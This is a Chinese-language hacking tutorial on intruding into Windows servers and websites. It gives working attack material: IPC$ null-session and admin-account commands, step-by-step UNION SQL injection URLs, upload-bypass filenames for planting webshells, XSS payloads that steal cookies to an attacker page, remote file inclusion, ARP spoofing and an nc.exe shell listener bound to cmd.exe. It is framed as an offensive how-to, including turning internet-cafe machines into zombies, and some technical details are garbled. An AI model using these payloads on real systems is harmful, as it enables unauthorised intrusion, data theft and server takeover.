標籤：漏洞 滲透 webshell
1章 內容：連接埠 命令
1，連接埠，這個很讓人理解的字眼，電腦的連接埠一共有65535個，但實際用到的卻只有幾十個，常見的連接埠
3389，4899，135，445，5900，1433，3306，1521，21，80，23，25，53等等，連接埠就像一座房子的煙囪一樣，如果開啟了，就可能會面臨著一些風險，如3389，這是遠端桌面的連接埠，他主要用於兩個方面，一是實現網路互動的過程，一台電腦串連到另外一台電腦的案頭，第二個方面就是被駭客的提權利用，命令是MSTSC，而3389連接埠入侵正是實現了這樣的功能，而3389針對的是WINXP的系統空密碼，也就是說，XP系統的使用者如果密碼為空白，3389連接埠也開啟的情況下，如果被駭客掃描到，那麼就可以遠程被利用，駭客通過IP地址，遠端連線，並在視窗輸入administrators, 密碼為空白，直接確定，就可以看到對方的案頭了，但3389有個弊端，如果對方發現，移動了滑鼠，那麼遠端桌面將關閉。而空密碼與空串連就是不同的方式了，空串連是IPC空串連 ，利用格式為：net use \\ip\ipc$ "" /user:"admin", 意思就是密碼都空的時候對目標地址進行空串連，如果成功，那麼就可以實現一個映射的功能 net use z: \\ip\c$,這就是遠程映射的功能，把目標伺服器的C盤映射為本地的Z盤，對方的盤符，我們在本地的Z盤可以訪問對方C的內容了。開啟3389伺服器就是在系統設定裡的遠程，允許使用者遠端連線打勾就可以了。
4899，4899連接埠其實跟3389的模式是差不多的，而4899是通過RAMIN影子服務端進行串連，4899通常是針對空密碼的使用者，如果漏洞存在，可以通過影子服務端遠端連線，實現遠端控制的功能。
135，135連接埠準確的說他是一個溢出連接埠，如果在網吧，我們可以使用命令 NETSTAT －AN ，這個命令是查看開放了哪些連接埠，而一般情況下，網吧都開放了135與445連接埠，而不懷好意的人就會使用遠端控制軟體產生木馬，內網映射成功後，就可以批量的進行傳馬到其他機器，這樣很多電腦都因此成為了肉雞
5900，5900連接埠一般針對國外伺服器，攻擊者可以使用VNC連接器對5900國外伺服器進行批量檢測，這個方式要用到VPN代理技術，而掃描方式通常會選擇SYN，省去了TCP延時的問題
1433，想必大家對1433這個連接埠很熟悉，沒錯，他是SQL SERVER的連接埠，而1433通常去尋找SA的弱口令進行檢測，1433串連工具就發揮了這個作用，利用者通過得到的密碼檔案，輸入使用者名稱與密碼以及資料庫的名字，遠端連線對方的資料庫，接著執行SQL提權命令，成功達到伺服器侵入的目的。
3306， MYSQL的連接埠，漏洞存放目錄一般為conn.asp config.php common.inc.php 裡面存在網站的根目錄下，利用者得到了此資料，一般有兩個方向，1，MYSQL脫庫，2，MYSQL提權 ，MYSQL脫庫是針對的論壇伺服器，會員資料，利用MYSQL遠端連線資料庫，一般是找到SELECT ＊ FROM MEMBERS表的位置，然後匯出檔案SQL到本地，裡面存放的就是會員的詳細資料了。而MYSQL提權就是提升許可權，需要導註冊表的DLL檔案，然後執行SQL命令增加一個管理組，而一般MYSQL資料庫大於5.0時，匯出就必須是安裝目錄了，小於5，0的話可以匯出到 ：c:/windows/udf.dll，因為後期版本官方也做了一些限制！
命令也是同樣重要的，如WIN與LINUX的系統命令，MS－DOS環境下的命令，大概的命令要記住
WIN: NET USER ADD ADD /ADD NET LOCALGROUP ADMINISTRATORS ADD /ADD 加入管理組帳號
WMIC PROCESS 查看當前系統進程詳細路徑
ARP －A 查看當前的系統MAC地址
TRACERT －D 追蹤路由
PING 測試命令
systeminfo 查看系統配置資訊
md ren rd 建立目錄，目錄改名，刪除目錄
NETSTAT －V 進行中的工作 －A 查看當前監聽的連接埠 －N 進行中的串連 －AN 查看開放了哪些連接埠
AT 計劃任務
二章 內容： WEB指令碼安全
WEB指令碼安全，也是網路安全的一個重中之重，如何認識指令碼安全呢?
首先我們得對網站的類型與架構要有所瞭解，如ASP網站，PHP網站，JSP網站，ASPX網站，CGI等等
一般安全性通常為：ASP－－>PHP-->ASPX-->JSP--<
可以看出，ASP的安全性是最低的，我們都知道一個網站的程式是程式員設計的，那麼程式設計中
有可能會出現漏洞，一旦有漏洞，就會被一些人成功利用，這就是WEB指令碼安全，學習指令碼安全對於
自身對WEB安全有一定認識，並熟練掌握WEB攻防相關技術。
伺服器管理員把網站架設到外網，實現了多人訪問的目的，那麼伺服器是開著，既然有外部網路通訊這一功能
，那麼指令碼安全就誕生了，一個技術誕生也意味著另外一個技術的衍生，比如彙編，反組譯碼，同樣的道理，利用者通過
外部網站所架設的虛擬網站進行逐一檢測，最終發現漏洞。
原理：通過程式設計漏洞遠程寫入指令碼木馬到伺服器網站根目錄下，接著串連外部路徑地址，形成網路後門。
優點：伺服器單向滲透並指於異常困難，而指令碼安全就取而代之了，通過指令碼得到SHELL的許可權後再去執行伺服器提升這樣一個途徑。
ASP 網站漏洞分析：
一般ASP的網站 應用於小型公司企業所需求
常見漏洞：SQL注入 ，爆庫，目錄遍曆，越權訪問，上傳，弱密，社交工程學，XSS , 編輯器, COOKIE, OR，FTP，窮舉
SQL漏洞原因：變數過濾不嚴，
爆庫是由於沒有寫容錯代碼
注入測試方法：AND 1＝1 AND 1＝2 前提是動態網站，而非靜態
在網站上開啟一個新聞的動態網頁面，然後打一‘提交
http://www.baidu.com/asp/asp?id=30%20and%201=1 正常
http://www.baidu.com/asp/asp?id=30%20and%201=2 錯誤
存在注入 ，工具注入，以及手工注入都是可以的
需要進行猜表，表名，列名，以及使用者，最後獲得密碼
密碼一般都是16進位加密，需要到專門的MD5網站進行解密
爆庫，一般分為兩種，一種是CONN爆庫 %5C爆庫 %23爆庫
CONN爆庫是由於管理員沒有阻止外部人員對此檔案的訪問
導致可以訪問：http://www.adminx.com/admin/conn.asp 如果報錯一定會出現資料庫的具體路徑
http://www.adminx.com/inc/config.asp 一般是禁止的
http://www.adminx.com/inc/conn.asp 一般為空白
％5C是二級目錄的爆庫方式
格式為：http://www.admin.com/asp/uid?id=1 正常頁面
http://www.admin.com/asp/%5cuid?id=1 如果成功會"彈出資料庫下載"
％23是針對資料庫爆庫
我們知道，資料庫的表達格式是www.xxx.com/data www.xxx.com/database www.xxx.com/datas
通常這些都是403禁止的，假如我們如果知道資料庫的真實
運算式：http://www.xxx.com/databases/#xin_wenku.mdb 訪問後會顯示禁止頁面
http://www.xxx.com/databases/%23xin_wenku.mdb 訪問後會彈出MDB資料庫下載
目錄遍曆就是管理員對網站根目錄下的子目錄許可權訪問沒有做限制
導致利用者可以訪問到這些目錄，從而對下一步收集資訊作為必要條件
運算式：http:www.xxx.com/manage/../ 目錄遍曆，可以看到很多目錄
越權訪問，就是管理員對目錄檔案下的後台操作檔案頁面的許可權沒做限制，導致利用者可以以匿名的方式訪問
到系統背景內容，這樣是很危險的，利用者有時候四倆薄千金就侵入了一個網站
運算式：http://www.xxx.com/manage/asp/edit.moneyasp?id=#
可能出現的頁面： 新聞發佈頁面，管理員添加頁面，會員列表頁面，網站布局頁面等
上傳漏洞 ，也就是網站的圖片上傳點，有的上傳地址很隱秘，本來是用來使用者組上傳圖片，或者頭像，或者是公司的PDF，XLS，DOC檔案用的，但有的人卻用來利用
常見的上傳漏洞頁面有很多 ，方法有：GIF89A 圖片木馬偽裝， 一句話漏洞 ，IIS解析
運算式：http://www.xxx.com/include/upload.jsp http://www.com/include_admin/upload.asp http://www.com/upload_class.asp
例如利用者把上傳頁面的源碼儲存到本地記事本，然後在第一行寫入GIF89A，再進行圖片提交
或者使用一句話木馬的方式合并到圖片中，上傳 比如之前早期的NGINX漏洞就是利用的IIS雙向解析功能實現
運算式：http://www.xxx.com/php/ass/1.jpg/先訪問這個圖片地址 ，如果能正常顯示，再合訪問0x.php
http://www.xxx.com/php/ass/1.jpg/0x.php 會出現空白，你會發現什麼也沒有，其實是後門成功了！
通過一句話木馬PHP用戶端串連，輸入密碼就可以上傳指令碼木馬到網站根目錄獲得WEBSHELL的許可權
解析運算式：1.asp;.jpg 1.jpg.asp 2.asa;.gif 0x;x.jpg;0x;y.jpg
意思就是末尾雖然是圖片的格式，但他會通過ASP，ASA這樣的方式去執行這個圖片，其實相當於執行了我們的指令碼木馬了！
弱密碼，有的網站，管理員一般把密碼設定得過於簡單化，如123，456，123456 ADMIN ADMIN888 ADMIN123 這樣的密碼很可能被駭客攻破
導致網站的安全性受到威脅！
社交工程學，這個是相當強大的一門技術，他需要掌握與洞察它人的心理狀態，其實意為‘心理破解者"，如破解一個郵箱，他需要先收集這個主人一切可利用的資料，通過分析，分析這個人的日常狀態，日常習慣，等等最後破譯密碼！很多書店也有賣這樣的書籍，價格一般都在30－40元左右！
XSS, 一般分別XSS跨站攻擊，以及XSS盲打 它是一種被動式攻擊
基本運算式：<script>alert("1")</script> 彈出訊息對話方塊：1
<script>alert(document.cookie)</script> 彈出COOKIE值
<script>window.open("http://baidu.com")</script> 開啟百度網站
跨站運算式：www.xxx.com/asp/asp?id="><script>alert("0")</script>
掛馬跨站運算式 www.xxx.com/asp/asp?id=<iframe src="url">0x</iframe> 需要把他轉換為HEX格式
架構嵌入動態運算式：www.xxx.com/asp/asp?id=<iframe src="url">0x</iframe><marquee>hello</marquee>
而盲打技術，是針對自己寫一個JS代碼 ，通過留言頁面，管理員一般會審核這樣的資訊，當他點擊後，COOKIE就被自動儲存到我們的後門中
運算式:http://www.xxx.com/cookie/cookie.asp
編輯器漏洞，應該有出現的時間很早 ，一般分為EWEB與FCKEDITOR 漏洞
編輯器後台一般為 ewebeditor/admin_login.asp
ewebeditor/ewebeditor.aspx ewebeditor/ewebeditor.htm ewebeditor/ewebeditor.asp?id=1 ewebeditor/admin_style.asp
ewebeditor/admin/db/#ewebeditor.mdb ,ewebeditor/db/#ewebedior1033.mdb
密碼一般為 ADMIN888 ADMIN ADMIN999
FCKEDITOR 編輯器的漏洞
利用的方式也很多
PHP CMS 就可以利用編輯器上傳獲得許可權
HTTP://WWW.XXX.COM/ADMIN/FCKEDITOR/../.../../
COOKIS中轉，這個漏洞的形成是因為我們在SQL注入失敗的情況下，所採取的另外一種注入方式，簡稱COOKIE注入
準備工具：小旋風ASP環境 ，注入，猜表工具
首先將環境連接埠設定為82或者81
接著找一個頁面產生127頁面
對比運算式：http://www.xxx.com/asp/aasp?id=1 注入失敗
http://127.0.0.1:81/ROOT地址/POST提交值 可以注入
OR漏洞 ，熟知的 ‘or‘=‘or‘ 漏洞
針對一些ASP公司網站的後台管理系統，使用者密碼均輸入‘or‘=‘or‘
如果成功，可以直接進入後台
USER：‘OR’＝‘OR’
NAME： ‘OR’＝‘OR’
FTP的漏洞一般出現於2個特點 ： 匿名訪問 ，弱密碼
運算式：ftp://www.xxx.com 匿名訪問，直接進入
弱密碼：ftp:www.cc.com user:ftp pass:[email protected] 輸入密碼後進入
如在FTP裡放入一個TXT ，內容寫為1
那麼訪問時，也可以 http:wwww.cc.com/1.txt
窮舉法針對系統爆破工程 ，一般分別DIC檔案字典的爆破方式，收集很多現成的字典，對某個郵箱，或者某個QQ的密碼或者某個網站的後台，
進行指定破解，時間耗費很長！
php 網站漏洞分析
一般漏洞首先就是注入了，
表示式:http://www.ccc.com/asp/php?id=10%20order%20by%201 猜欄位
http://www.ccc.com/asp/php?id=10%20order%20by%2018 正常
http://www.ccc.com/asp/php?id=10%20order%20by%2020 錯誤
可以判斷欄位19個，依次拼字19個欄位在地址中 ，3個常用變數，database() version user()
3個函數轉換要知道 ，c:/win.ini load_file(), 注射時還可以使用HEX（MID函數進行讀路徑）
路徑運算式：d:/wwwroot/php/uc/config.php
運算式：http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 頁面顯示正常既為成功
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin 如果錯誤頁面找不到
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 頁面正常既為找到，一般會顯示出幾個數字，如3，6，8，等字樣，我們一般就取3與6
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,user(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 查看使用者: [email protected]
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 查看資料庫的版本，大於5，0可以爆庫
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,databse(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 查看資料庫的名字
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,user,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user 頁面正常既為猜到使用者與密碼，反之會返回錯誤404
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,load_file(讀取INI地址),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user
http://www.ccc.com/asp/php?id=10%20and%1=2%20union%20select 1,2,HEX(MID),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 from admin_user
還有就是一些系統源碼的ODAY，比如動網論壇，動易，老Y文章系統，動科，風訊，DEDECMS織夢，帝國CMS
等等，一般遇到這類的漏洞，有的是EXP注射，有的則需要GET SHELL，自己搭建好PHP環境，接著在DOS視窗裡輸入命令執行相關漏洞，如開源工具MSF ，就是整合的溢出平台，需要哪個直接通過命令調用就可以了 命令為：show exploits
除此之外，還有PHP檔案包含漏洞
表達格式：http://www.a.com/asp/id=http://www.b.com/1.php
也就是說在A點取得的許可權，通過源碼系統，之間到B點進行讀取，這樣的話，B點就被利用了，我們就這樣獲得了B的許可權
但前提是在A點先取得許可權！
包括ASPX，出現的有時候會出現一個CER表單漏洞，或者是萬能密碼漏洞
JSP 漏洞分析
JSP一般用於，銀行，新聞門戶站，安全性在外人看來相對較高，但JSP安全性雖然最高，但要說明的是，在提權技術裡，JSP許可權卻是最大的，而相對於不太安全的ASP網站，ASP匿名的許可權卻降低了！MYSQL有時候也會出現降權！
漏洞一般存在於JS校檢未過濾
導致上傳
次層網域上傳漏洞
運算式：http:www.xx.gov.cn http://ad.xx.gov.cn/upload.asp http://svx.xx.gov.com/upload.php
<form>
<form action="sadd.jsp" method="post"><br/>
<input type="file" ><br/>
<input type="submit" value="go!">
</form>
後台系統管理權限技術
假如我們通過一個很簡單的密碼測試進入了自己搭建的網站後台，這時候我們需要獲得WEBSHELL許可權的時候，就可以通過各種途徑了，方法有很多
例如Database Backup，抓包改包，搭建地址兩次上傳，解析，直接上傳，等等
允許的格式：gif,bmp,jpg
禁止的格式：cer,asp,php,jsp,aspx
旁註漏洞的誕生，也就是網站伺服器上，捆綁了很多網域名稱，有購物網，人才網，新聞網，我們目標是新聞網，而新聞網通過測試並未發現很多漏洞，這時候我們就可以人才網入手，去檢測，最終通過跨目錄，或者ASPX IIS 許可權讀寫的方式獲得新聞網的許可權
C段，也就是可以IP地址來表示 ，一個IP段 210.44.123.1-219.44.123.255 之間的255台機器，比如，利用者的目標是210，44，123，5這個地址
這時候我們只需要在這個段裡檢測成功一台伺服器後，在伺服器裡執行嗅探，如果對方目標未裝防火牆，則會被嗅探到，這就是伺服器分離狀態下的利用方式
運算式： a : 》 b: 》
-- a 目標伺服器
b++ 在B段裡找一台同網段的伺服器
b++ =a 最終嗅到資料，最後指向目標A
而劫持，與欺騙，都是在cain 與NET FUCER裡面完成的
劫持，一般分為網域名稱劫持，以及ARP劫持
一般是在同網段伺服器裡與C段一樣的方式，但不同的是，他運用的是劫持
也就是發送欺騙流量包給目標伺服器，伺服器被欺騙後首頁檔案就自動被改成我們想要的內容了。
而欺騙，一般是ARP，或者是DNS欺騙，ARP欺騙主要是欺騙目標機器的3389 HOST檔案，文本格式
利用C32反組譯碼工具開啟可以清楚的看到在地址的後邊，使用者與密碼就泄露了
伺服器提權技術
在自行搭建的SHELL網站裡，如果不會提權，那麼就無法進行下一步
所以我們需要學習提權技術
而提權技術一般分別 WIN LINUX提權
常用工具：巴西烤肉 ，PR大殺器 ，NC監聽，LCX轉寄 ，WIN2003核心溢出 ，IIS6，0， MS，EXE ，SHIFT後門
提權的步驟
1，檢查網站的許可權，如ASP匿名許可權 ，是否支援ASPX
2，檢查WC組件是否支援
3，一般來說，資源回收筒與TEMP目錄許可權是比較大的
4，檢查CONFIG，ASP，CONN。ASP相關密碼
5，檢查FXP 傳輸工具的檔案
5，檢查是否安裝PCANYWHERE
6，是否安裝SERTU FTP伺服器
7，檢查3389連接埠是否開啟
8，檢查目錄檔案程式是否可以替換
9，檢查RAMIN密碼是否存在
10，檢查檢查是否支援JSP許可權
這是外網的方式，而遇到內網的時候，則需要轉寄 ，首先得本地監聽，再轉寄到3389，利用本地127地址：監聽連接埠去串連對方3389
NC反彈命令： C:/winodws/nc.exe -l -p 5858 -t -e c:/windows/cmd.exe
還有一個就是SHELL CODE ，牛人的道路從這裡啟航！
安全滲透 by80
